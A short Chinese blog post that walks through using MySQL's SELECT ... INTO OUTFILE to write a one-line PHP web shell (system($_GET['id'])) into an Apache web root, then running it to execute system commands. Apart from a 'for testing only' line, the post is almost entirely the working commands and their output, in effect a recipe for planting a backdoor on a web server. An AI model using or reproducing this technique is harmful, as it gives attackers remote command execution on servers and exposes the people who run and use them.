您的位置:首页 > 编程语言 > PHP开发

MYSQL+PHP 如何调用系统命令

2013-12-04 14:53 330 查看
本文只用于测试: 1、假如有mysql-test数据库中有一张表t(结构如下): mysql> desc t; +-------+--------------+------+-----+---------+-------+ | Field | Type | Null | Key | Default | Extra | +-------+--------------+------+-----+---------+-------+ | nam | varchar(100) | YES | | NULL | | +-------+--------------+------+-----+---------+-------+ 1 row in set (0.03 sec)
2、插入一条数据:
mysql> insert into t values("<?php $id=$_GET['id'];system ($id);?>"); Query OK, 1 row affected (0.05 sec)
查证: mysql> select * from t; +---------------------------------------+ | nam | +---------------------------------------+ | | +---------------------------------------+ 1 row in set (0.00 sec)
3、用t表中的数据生成shell.php文件: mysql> select * from t into outfile "D:/Program Files/Apache Software Foundation/Apache2.2/htdocs/shell.php"; Query OK, 1 row affected (0.00 sec)
4、运行shell.php文件:

如何调用系统命令" title="MYSQL+PHP 如何调用系统命令" />
可以看到测试成功了!!! 注意:插入数据用“”号; php中用$id=$_GET['id']得到传递参数。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  it